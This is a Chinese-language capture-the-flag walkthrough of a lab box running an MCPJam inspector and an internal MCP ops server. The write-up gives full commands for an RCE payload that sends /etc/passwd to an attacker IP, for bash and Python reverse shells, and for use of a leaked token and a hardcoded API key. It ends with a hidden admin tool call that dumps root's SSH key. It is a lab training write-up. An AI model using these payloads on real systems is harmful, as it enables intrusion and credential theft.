0x01 信息收集
nmap 扫描
# Nmap 7.95 scan initiated Fri Jun 5 04:30:04 2026 as: /usr/lib/nmap/nmap --privileged -p- --min-rate 1000 -oA nmapscan/ports devhub.htb
Nmap scan report for devhub.htb (10.129.168.214)
Host is up (0.31s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6274/tcp open unknown
# Nmap done at Fri Jun 5 04:32:17 2026 -- 1 IP address (1 host up) scanned in 133.67 seconds
先查看 80 端口
跳转到 devhub.htb 把他添加到 /etc/hosts 中
显示在 6274 的端口是一个调试工具,我们尝试查看
是一个 mcpjam 的服务面板
是一个测试服务器的工具
搜索有没有 exploit
发现有比较新的漏洞
0x02 获取立足点
我们尝试利用
先验证漏洞
# 1. 验证服务
curl http://10.129.168.214:6274/health
# 返回: {"status":"ok","timestamp":"..."}
# 2. 构造RCE攻击载荷
cat > exploit.json << EOF
{
"serverId": "evil-server",
"serverConfig": {
"command": "bash",
"args": ["-c", "id > /tmp/hacked.txt && curl http://10.10.14.65/steal?data=$(cat /etc/passwd | base64)"],
"env": {}
}
}
EOF
#3. 启动服务器
python -m http.server 80
# 4. 发起攻击
curl -X POST http://10.129.168.214:6274/api/mcp/connect \
-H "Content-Type: application/json" \
--data-binary @exploit.json
发现服务器端有响应,说明载荷有在运行,更改载荷为反弹 shell
{
"serverId": "evil-server",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/10.10.14.65/4444 0>&1"],
"env": {}
}
}
再次发起攻击,成功获取 shell
0x03 横向移动
使用 linpeas 进行枚举
有一个路径劫持的可能
在这里发现两个比较奇怪的进程
有一个 token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
选择看以下这个程序的权限
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ls -laih /opt/opsmcp/server.py
<s/@mcpjam/inspector$ ls -laih /opt/opsmcp/server.py
97833 -rw-r----- 1 analyst analyst 5.9K Mar 16 21:49 /opt/opsmcp/server.py
显示他的权限为 analyst
再看看开放端口
8888 端口有开放,搜索一下 jupyter
发现是一个网页端的调试工具curl 检测一下
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -v http://127.0.0.1:8888
<es/@mcpjam/inspector$ curl -v http://127.0.0.1:8888
* Trying 127.0.0.1:8888...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 127.0.0.1 (127.0.0.1) port 8888 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8888
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Server: TornadoServer/6.5.4
< Content-Type: text/html; charset=UTF-8
< Date: Fri, 05 Jun 2026 14:33:22 GMT
< Location: /lab?
< Content-Length: 0
<
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
* Connection #0 to host 127.0.0.1 left intact
302 重定向,应该是有 web 服务的使用 chisel端口代理

用浏览器打开网页
显示可以用 token 登入,尝试先前的 a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
登入成功
用 python 反弹一个 shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.65",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])

0x04 提权
查看先前的 文件 /opt/opsmcp/server.py
这里有一个端点 admin_dump
# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
"parameters": {"target": "string", "confirm": "boolean"}
},
"ops._debug_mode": {
"description": "Enable debug mode",
"parameters": {}
}
}
他会去读 root 的 ssh 密钥
elif tool_name == "ops._admin_dump":
target = args.get('target', '')
confirm = args.get('confirm', False)
if not confirm:
return jsonify({
"error": "Confirmation required",
"usage": "Set confirm=true to proceed",
"warning": "This dumps sensitive credentials"
})
if target == "ssh_keys":
try:
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({
"target": "ssh_keys",
"root_private_key": key_data,
"note": "Emergency recovery key dump"
})
except Exception as e:
return jsonify({
"target": "ssh_keys",
"error": f"Could not read key: {str(e)}"
并且有验证
def check_auth():
api_key = request.headers.get('X-API-Key', '')
return api_key == VALID_API_KEY
从请求头中 get
但是他这个参数明文写在开头
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
我们构建一个包
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "Content-Type: application/json" \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
去拿 root 的密钥并保存
选择用密钥登入
ssh -i root.key root@10.129.168.214 -v
获得 root 权限